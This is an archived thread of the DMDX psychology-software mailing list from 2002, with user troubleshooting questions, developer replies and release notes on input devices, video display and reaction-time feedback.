DMDX@psy1.psych.arizona.edu Message-id: <2e15b32dfbb2.2dfbb22e15b3@montclair.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, I already have DirectX 8.0 on the PC and there is plenty of free space in the hardrive. Dmdx worked fine for 6 months and it still works fine in the other PC's which have much smaller HD's and also use Windows 95. I actually do not have Nortn AV, but use VShield. I just now updated the video drive to the newest one, and the problem persists. The only thing I can think of is HD problems, but would not explain why I have been able to download and run other programs without any problems only when I try to open dmdx or timedx does the computer slow down or freeze. Thank you for your help any more suggestions are welcome. Thanks again. --------------------------------------------- Restart the computer, check whether there is in fact any free disk space. If you can't copy the files then that's a basic computer failure, there's nothing unusual about the TimeDX or DMDX executables. Norton AV has been known to interfere with DMDX's operation in the past however your problem is almost guaranteed to be video card driver related or DirectX related. First try a later version of DirectX and if it's still screwy find some later video card drivers. Could be that windows 95 isn't usable any more, haven't had a 95 box to test anything on for years. You may have to upgrade to 98SE. http://psy1.psych.arizona.edu/~jforster/dmdx/directx/DX70eng.exe /""\\ -jonathan (j.c.f.) \\ / Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 23 16:35:13 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA16324 for ; Tue, 23 Apr 2002 16:34:53 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.25) by phobos.email.Arizona.EDU (6.0.053) id 3CC446850003807B for DMDX@psy1.psych.arizona.edu; Tue, 23 Apr 2002 16:34:53 -0700 Message-Id: <5.1.0.14.2.20020423162709.00b2bea0@psy1.psych.arizona.edu> Date: Tue, 23 Apr 2002 16:34:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Dmdx freezes In-Reply-To: <2e15b32dfbb2.2dfbb22e15b3@montclair.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:36 PM 4/23/2002 -0400, you wrote: >Jonathan, > >I already have DirectX 8.0 on the PC and there is plenty of free space >in the hardrive. Dmdx worked fine for 6 months and it still works fine >in the other PC's which have much smaller HD's and also use Windows >95. So what changed that it was fine for 6 months and then all of a sudden stopped being fine? > I actually do not have Nortn AV, but use VShield. I just now >updated the video drive to the newest one, and the problem persists. >The only thing I can think of is HD problems, but would not explain why >I have been able to download and run other programs without any >problems only when I try to open dmdx or timedx does the computer slow >down or freeze. Thank you for your help any more suggestions are >welcome. Thanks again. Could be a problem with VShield then. If you can disable it try that otherwise uninstall it and then try DMDX. If you still can't overwrite the files (which really sounds like an anti-virus problem) then try booting to command prompt and delete the DMDX and TimeDX .EXE files the old fashioned way. I guess Safe Mode would work if the command prompt isn't an option. It could be that the machine's hardware configuration just got plain screwed up and nothing short of re-installing the OS is going to fix it. Sometimes just installing right over the old OS is fine and everything is glorious without having to re-install other applications. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A government is the only vessel known to leak from the top. >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 24 03:40:11 2002 Received: from aixup.univ-aix.fr (aixup.univ-aix.fr [194.57.187.3]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA17608 for ; Wed, 24 Apr 2002 03:39:36 -0700 Received: from localhost ([194.57.197.111]) by aixup.univ-aix.fr (8.9.1a/jtpda-5.3.1) with SMTP id MAA22623 for ; Wed, 24 Apr 2002 12:39:31 +0200 (MET DST) Message-ID: <001201c1eb7c$b6d3f220$0100007f@aixupunivaix.fr> From: ""Cheryl Frenck-Mestre"" To: References: <5.1.0.14.2.20020423094144.00b3b388@psy1.psych.arizona.edu> Subject: [DMDX] Declaring joysticks Date: Wed, 24 Apr 2002 12:42:20 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello all, I have a problem, which I've tried to solve to no avail, relating to declaring a joystick as the input device. The input test tells me I have a Sidewinder Joystick, as does windows when I test it. I used and all possible deletions/permutations thereof, but always get the error message that the id device is not known. What else can the thing possibly be called?? Any ideas? Merci, C. Frenck-Mestre >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 24 04:26:52 2002 Received: from psych.york.ac.uk (psysgi1.york.ac.uk [144.32.162.63]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id EAA17744 for ; Wed, 24 Apr 2002 04:26:43 -0700 Received: (qmail 15396 invoked from network); 24 Apr 2002 11:26:11 -0000 Received: from laurel1.york.ac.uk (HELO laurel1.psych.york.ac.uk) (144.32.163.33) by psysgi1.york.ac.uk with SMTP; 24 Apr 2002 11:26:11 -0000 Message-Id: <4.3.2.7.2.20020424122440.00bcf7f0@pop.psych.york.ac.uk> Date: Wed, 24 Apr 2002 12:26:14 +0100 To: DMDX@psy1.psych.arizona.edu From: Gareth Gaskell Subject: [DMDX] Re: Declaring joysticks In-Reply-To: <001201c1eb7c$b6d3f220$0100007f@aixupunivaix.fr> References: <5.1.0.14.2.20020423094144.00b3b388@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: multipart/mixed; x-avg-checked=avg-ok-4E2D6D11; boundary=""=======5D525260======="" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=======5D525260======= Content-Type: text/plain; x-avg-checked=avg-ok-4E2D6D11; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit Hi, have you tried ? I think the quotes may be needed, Gareth At 12:42 24/04/2002 +0200, you wrote: >Hello all, >I have a problem, which I've tried to solve to no avail, relating to >declaring a joystick as the input device. The input test tells me I have a >Sidewinder Joystick, as does windows when I test it. I used joystick> and all possible deletions/permutations thereof, but always get >the error message that the id device is not known. What else can the thing >possibly be called?? >Any ideas? > Merci, > C. Frenck-Mestre > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== =========================================================== Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Home page: http://www-users.york.ac.uk/~mgg5/ Research group: http://www.york.ac.uk/res/prg/ =========================================================== --=======5D525260=======-- >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 30 13:17:40 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA03956 for ; Tue, 30 Apr 2002 13:16:47 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3CCB436100051B3D for DMDX@psy1.psych.arizona.edu; Tue, 30 Apr 2002 13:16:47 -0700 Message-Id: <5.1.0.14.2.20020430122859.00b13390@psy1.psych.arizona.edu> Date: Tue, 30 Apr 2002 13:17:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.9.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list To address the Windows XP variability I was seeing in my testing a couple of new input devices have been added, QPIO12 and QPIO12output16, the Q standing for queued and these are now available in 2.9.00. I didn't feel like just gaily modifying the existing PIO12 devices because the queuing adds a reasonable amount of work to be done every single millisecond and didn't particularly want to risk upsetting some older machines. Other changes included in DMDX 2.9.00 are a new test mode number 12 (10 and 11 were used as temporary debugging test modes and will no doubt get used again at a later date) that monitors the duration of the millisecond callback which should always be 0.0ms or at worst 0.1ms. This is a useful test when using InstalCal drivers and the QPIO12 input device as the polling of the devices is done in the callback. If the duration of the callback rises nastily when using QPIO12 only polling every other millisecond should be considered (see ). Fortunately all machines tested so far have negligible values in this test. And test modes 2, 3, 5, 6, 7, 8, 9, and 12 (and any future test modes similar to them) now dump their outputs into the diagnostics.txt and the job output file whenever the test mode is changed or the job is stopped. And the crash was fixed (either or is valid). And you can't use input devices in TimeDX and DMDX that would crash the system anymore, they now check what OS is running and cull the devices appropriately. And when using the new queued PIO12 devices (QPIO12 and so forth) a third parameter can be added to the keyword that increases the size of the queue used to buffer data. The default buffer is 16 entries long allowing for 16ms of buffering, some machines may require more buffering indicated by repeated PIO Polling FIFO full at time %dms error messages. And I note that using 256 color modes with NVIDIA's GeForce cards (mine is GeForce2 MX but I suspect these problems occur with all GeForce cards) under Windows XP is really problematic. Not only do I recommend -buffers 3 in the command line but I also recommend using 16 bit color modes if XP is being used. I was getting graphical display errors using a palletized display mode (1024 768 768 8 0) that included things drawn in the wrong places along with terrible timing inconsistencies that all went away once I used an RGB display mode (1024 768 768 16 0). Using the new QPIO12 on my Athlon 850 in the office running XP with winamp playing a streaming 56kbps mp3 from home in the background (makes no difference to the scores whether or not I stop winamp) I get a SD of 0.07ms using test mode 2 that monitors the millisecond call back itself. I get a SD of 0.48ms using test mode 6 that monitors response signal latencies with my input signal generator and using test mode 9 with a photosensor I get an SD of 0.33ms. I figure test mode 9 is more accurate because one end of the interval we are measuring is determined by the raster which is accurate to fractions of a millisecond whereas with test mode 6 both the beginning of the interval and the end of the interval are determined by the millisecond call back. Pretty natty stuff. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When I get real bored, I like to drive downtown and get a great parking spot, then sit in my car and count how many people ask if I'm leaving. - Stephen Wright >From DMDX-owner@psy1.psych.arizona.edu Wed May 15 18:02:05 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA14448 for ; Wed, 15 May 2002 18:01:10 -0700 Received: from a8o2y7 ([137.154.102.54]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g4G110618542 for ; Thu, 16 May 2002 11:01:01 +1000 (EST) Message-ID: <001001c1fc74$111fff00$36669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] video Date: Thu, 16 May 2002 10:53:15 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000D_01C1FCC7.E14261C0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C1FCC7.E14261C0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hope someone can help me=20 I have been trying to flash up bmp picts (photos) on different parts of = the screen. The program works but the clarity of the photos is woeful=20 I have tried playing with the monitor settings etc.... to no avail and = changed my code in the item file to several = variations.(also none). my monitor settings 32bit 800 by 600 My video card is ok as I have managed, in the past, to show clear = pictures....I must have changed something?? =20 help! =20 thanks arch=20 ------=_NextPart_000_000D_01C1FCC7.E14261C0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hope someone can help me I have been trying to flash up bmp = picts (photos)=20 on different parts of the screen. The program works but the clarity of = the=20 photos is woeful    I have tried playing with the monitor = settings=20 etc.... to no avail  and changed my code in the item file = to several variations.(also none). my monitor settings 32bit 800 by = 600   My video card is ok as I have managed, = in the past,=20 to show clear pictures....I must have changed something??       help!   thanks arch ------=_NextPart_000_000D_01C1FCC7.E14261C0-- >From DMDX-owner@psy1.psych.arizona.edu Thu May 16 09:04:17 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA16343 for ; Thu, 16 May 2002 09:03:41 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CE1A07000034135 for DMDX@psy1.psych.arizona.edu; Thu, 16 May 2002 09:03:41 -0700 Message-Id: <5.1.0.14.2.20020516090152.00b20058@psy1.psych.arizona.edu> Date: Thu, 16 May 2002 09:03:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: video In-Reply-To: <001001c1fc74$111fff00$36669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:53 AM 5/16/2002 +1000, you wrote: >Hope someone can help me >I have been trying to flash up bmp picts (photos) on different parts of >the screen. The program works but the clarity of the photos is woeful > >I have tried playing with the monitor settings etc.... to no avail and >changed my code in the item file to several >variations.(also none). >my monitor settings 32bit 800 by 600 > >My video card is ok as I have managed, in the past, to show clear >pictures....I must have changed something?? Only thing I can think of is that you are telling DMDX to stretch the images with either the bitmap multipliers or by specify a bounding box for the bitmap by using . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Boren's Laws: (1) When in charge, ponder. (2) When in trouble, delegate. (3) When in doubt, mumble. >From DMDX-owner@psy1.psych.arizona.edu Fri May 17 10:26:45 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA19646 for ; Fri, 17 May 2002 10:25:36 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3CE1A07000057176 for DMDX@psy1.psych.arizona.edu; Fri, 17 May 2002 10:25:36 -0700 Message-Id: <5.1.0.14.2.20020517102158.00b13370@psy1.psych.arizona.edu> Date: Fri, 17 May 2002 10:25:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.9.01 and UnloadAZK 2.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 2.9.01 and UnloadAZK 2.00 are on the web site. DMDX 2.9.01 offers tuned qPIO12 performance and UnloadAZK 2.00 has better destination name selection for multiple users on the same machine, bigger name boxes and incidentally is now compiled with Visual C instead of Borland C (a change that should be transparent to the user but that makes a big difference to me). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Sun May 19 11:43:22 2002 Received: from smtp1.wiscmail.wisc.edu (dasher.doit.wisc.edu [144.92.197.145]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA24994 for ; Sun, 19 May 2002 11:41:08 -0700 Received: from sneezy (sneezypvt [144.92.197.253]) by smtp1.doit.wisc.edu (iPlanet Messaging Server 5.1 HotFix 0.5 (built Apr 17 2002)) with ESMTP id <0GWD002LRFWIV5@smtp1.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Sun, 19 May 2002 13:41:06 -0500 (CDT) Received: from wiscmail.wisc.edu (localhost [127.0.0.1]) by mailst3.doit.wisc.edu (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0GWD001IHFWH69@mailst3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Sun, 19 May 2002 13:41:05 -0500 (CDT) Received: from [144.92.197.221] by mailst3.doit.wisc.edu (mshttpd); Sun, 19 May 2002 13:41:05 -0500 Date: Sun, 19 May 2002 13:41:05 -0500 From: JOHN J CURTIN Subject: [DMDX] average reaction time feedback To: DMDX@psy1.psych.arizona.edu Message-id: <792a87b6ee.7b6ee792a8@wiscmail.wisc.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We are conducting a study where we would like to provide feedback on the average correct reaction time within a block of 100 trials. Trial structure is as follows: +1 * ""p"" / /; +2 * ""R"" / /; -3 * ""p"" / /; . . . +100 * ""R"" / /; 0 ""End of block"" /c; FEEDBACK ON AVERAGE REACTION TIME WILL BE PROVIDED NOW I am familiar with how to construct custom feedback and execute the appropriate feedback with branching. I know that I can get access to the RT on each trial with LastRT. However, I believe I will need to add the RTs together across trials within a block, divide by number of trials in block and use that average RT in the branch. I cannot determine an easy way to do this. I can construct some pretty complicated loops but executing each after each trial may muck with item timing. Is there an easy way to calculate average RT across Correct trials? Thanks for any help. John John J. Curtin Assistant Professor of Psychology University of Wisconsin, Madison jjcurtin@facstaff.wisc.edu >From DMDX-owner@psy1.psych.arizona.edu Sun May 19 12:20:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA25116 for ; Sun, 19 May 2002 12:19:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3CE1A08E0007BB48 for DMDX@psy1.psych.arizona.edu; Sun, 19 May 2002 12:19:09 -0700 Message-Id: <5.1.0.14.2.20020519121322.00b287c0@psy1.psych.arizona.edu> Date: Sun, 19 May 2002 12:19:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: average reaction time feedback In-Reply-To: <792a87b6ee.7b6ee792a8@wiscmail.wisc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:41 PM 5/19/2002 -0500, you wrote: >We are conducting a study where we would like to provide feedback on >the average correct reaction time within a block of 100 trials. > >Trial structure is as follows: > >+1 * ""p"" / /; >+2 * ""R"" / /; >-3 * ""p"" / /; So you call a subroutine if the response is correct that adds the LastRT to a summing counter and increments another counter. Then when you want the feedback you set yet another counter to the summing counter divided by the N counter and then use to display that one. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Boren's Laws: (1) When in charge, ponder. (2) When in trouble, delegate. (3) When in doubt, mumble. >From DMDX-owner@psy1.psych.arizona.edu Sun May 19 14:23:13 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA25434 for ; Sun, 19 May 2002 14:21:20 -0700 Received: from a8o2y7 ([137.154.102.25]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g4JLLH604097 for ; Mon, 20 May 2002 07:21:18 +1000 (EST) Message-ID: <004f01c1ff7a$07b0ba00$19669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] video Date: Mon, 20 May 2002 07:13:30 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_004C_01C1FFCD.D8841D40"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_004C_01C1FFCD.D8841D40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Thanks for the responses regarding video clarity I have both tried to change monitor settings,item file to 32 and size of = the bmp pictures, but to no avail Although the picture presents itself ok in Photoshop, when presented in = the dmdx program, the colours fade and there is a distinct lack of depth = and colour. does anyone have any ideas how I could fix this please thanks arch=20 . =20 ------=_NextPart_000_004C_01C1FFCD.D8841D40 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Thanks for the responses regarding = video=20 clarity I have both tried to change monitor = settings,item=20 file to 32 and size of the bmp pictures, but to no = avail   Although the picture presents itself ok = in=20 Photoshop, when presented in the dmdx program, the colours fade and = there is a=20 distinct lack of depth and colour.   does anyone have any ideas how I = could fix=20 this please   thanks arch .   ------=_NextPart_000_004C_01C1FFCD.D8841D40-- >From DMDX-owner@psy1.psych.arizona.edu Mon May 20 08:40:35 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA27539 for ; Mon, 20 May 2002 08:39:24 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3CE1A08E00089E22 for DMDX@psy1.psych.arizona.edu; Mon, 20 May 2002 08:39:24 -0700 Message-Id: <5.1.0.14.2.20020520083840.00b166d0@psy1.psych.arizona.edu> Date: Mon, 20 May 2002 08:39:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: video In-Reply-To: <004f01c1ff7a$07b0ba00$19669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:13 AM 5/20/2002 +1000, you wrote: >Thanks for the responses regarding video clarity >I have both tried to change monitor settings,item file to 32 and size of >the bmp pictures, but to no avail > >Although the picture presents itself ok in Photoshop, when presented in >the dmdx program, the colours fade and there is a distinct lack of depth >and colour. > >does anyone have any ideas how I could fix this please Maybe Photoshop needs to be told to save the image in a different format. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Boren's Laws: (1) When in charge, ponder. (2) When in trouble, delegate. (3) When in doubt, mumble. >From DMDX-owner@psy1.psych.arizona.edu Mon May 20 10:04:42 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA27790 for ; Mon, 20 May 2002 10:04:14 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3CE1A0700008E901 for DMDX@psy1.psych.arizona.edu; Mon, 20 May 2002 10:04:14 -0700 Message-Id: <5.1.0.14.2.20020520100128.00b13370@psy1.psych.arizona.edu> Date: Mon, 20 May 2002 10:04:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: video In-Reply-To: <5.1.0.14.2.20020520083840.00b166d0@psy1.psych.arizona.edu> References: <004f01c1ff7a$07b0ba00$19669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:39 AM 5/20/2002 -0700, you wrote: >At 07:13 AM 5/20/2002 +1000, you wrote: >>Thanks for the responses regarding video clarity >>I have both tried to change monitor settings,item file to 32 and size of >>the bmp pictures, but to no avail >> >>Although the picture presents itself ok in Photoshop, when presented in >>the dmdx program, the colours fade and there is a distinct lack of depth >>and colour. >> >>does anyone have any ideas how I could fix this please > > Maybe Photoshop needs to be told to save the image in a different format. Another thing is to check whether Paint displays the images in the same fashion as DMDX. If not then something peculiar to DMDX is going on -- but I can't see it beyond settings in the item file being incorrect, DMDX uses GDI (part of windows) to manipulate bitmaps as does Paint. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Sat May 25 13:47:08 2002 Received: from tomts24-srv.bellnexxia.net (tomts24.bellnexxia.net [209.226.175.187]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA10436 for ; Sat, 25 May 2002 13:45:52 -0700 Received: from yorku.ca ([64.229.139.55]) by tomts24-srv.bellnexxia.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP id <20020525204551.YATZ9770.tomts24-srv.bellnexxia.net@yorku.ca> for ; Sat, 25 May 2002 16:45:51 -0400 Message-ID: <3CEFF7E3.ADD192C@yorku.ca> Date: Sat, 25 May 2002 16:45:23 -0400 From: Judi Codd MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Touch Screen Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Has anyone had any success using a touchscreen monitor with DMDX? If yes...how would I code it as an input device AND do you have words of caution about using this form of input? Thanks Judi Codd Dept. of Psychology York University >From DMDX-owner@psy1.psych.arizona.edu Sat May 25 21:28:59 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA11305 for ; Sat, 25 May 2002 21:28:24 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3CE9821B000990BF for DMDX@psy1.psych.arizona.edu; Sat, 25 May 2002 21:28:24 -0700 Message-Id: <5.1.0.14.2.20020525210844.00b288c8@psy1.psych.arizona.edu> Date: Sat, 25 May 2002 21:28:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Touch Screen In-Reply-To: <3CEFF7E3.ADD192C@yorku.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:45 PM 5/25/2002 -0400, you wrote: >Has anyone had any success using a touchscreen monitor with DMDX? >If yes...how would I code it as an input device AND do you have words of >caution about using this form of input? It would only be usable with DMDX if it presented itself as a DirectInput device, if it requires custom interfaces then DMDX would need modification. Even if the touchscreen does provide DirectX drivers DMDX would only see button presses, it will ignore all axis information -- getting it to record axis information requires modification, getting it to do meaningful things with axis information requires lots of modification. DMTG (the immediate predecessor to DMDX) did handle input from somebody's touchscreen and IIRC we divided the screen into quadrants and they became the various buttons, a similar thing could be done with DMDX. But it won't be cheap, for a start I'd need to have one of the touchscreens for development and for a second you'd be paying me $25 an hour to do it and you'd be up for at least a week's work if DMDX is to interpret various regions of the screen as different buttons (substantially less to get it to just record the axis information). If the touchscreen is hellaciously expensive it could be returned once development reaches a certain level of stability but that complicates making any modifications to DMDX's handling of the touchscreen afterwards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Boren's Laws: (1) When in charge, ponder. (2) When in trouble, delegate. (3) When in doubt, mumble. >From DMDX-owner@psy1.psych.arizona.edu Wed May 29 20:39:39 2002 Received: from ux5.cso.uiuc.edu (root@ux5.cso.uiuc.edu [128.174.5.45]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA24130 for ; Wed, 29 May 2002 20:38:56 -0700 Received: from qixi.uiuc.edu (qixi.cogsci.uiuc.edu [130.126.117.84]) by ux5.cso.uiuc.edu (8.11.0/8.11.0) with ESMTP id g4U3ctU04241 for ; Wed, 29 May 2002 22:38:55 -0500 (CDT) Message-Id: <5.1.0.14.0.20020529223231.00b93f00@students.uiuc.edu> Date: Wed, 29 May 2002 22:40:03 -0500 To: DMDX@psy1.psych.arizona.edu From: Rongchun Subject: [DMDX] Beginner's questions: DMDX without PIO Card and detecting sound card Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello all, I am a totally new kid in town of DMDX. Now I rush to make it work for an experiment, so I have the following questions: (1) Can the system work without a PIO card? If impossible, what is the reason? If OK, what's the disadvantage (if I use the keyboard as the input) and how to make it? (2) How to detect if the sound card is working for it? I guess I need to write some item file for it. Any idea or direction pointing will be appreciated. Thanks in advance. Best, Rong Rong Chun Zhu 502 W Main St, #129 Urbana, IL 61801 >From DMDX-owner@psy1.psych.arizona.edu Thu May 30 08:12:58 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA25734 for ; Thu, 30 May 2002 08:12:29 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CF51DF60001D2AC for DMDX@psy1.psych.arizona.edu; Thu, 30 May 2002 08:12:28 -0700 Message-Id: <5.1.0.14.2.20020530080320.00b1b0c8@psy1.psych.arizona.edu> Date: Thu, 30 May 2002 08:12:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Beginner's questions: DMDX without PIO Card and detecting sound card In-Reply-To: <5.1.0.14.0.20020529223231.00b93f00@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:40 PM 5/29/2002 -0500, you wrote: >Hello all, > > I am a totally new kid in town of DMDX. Now I rush to make it work for > an experiment, so I 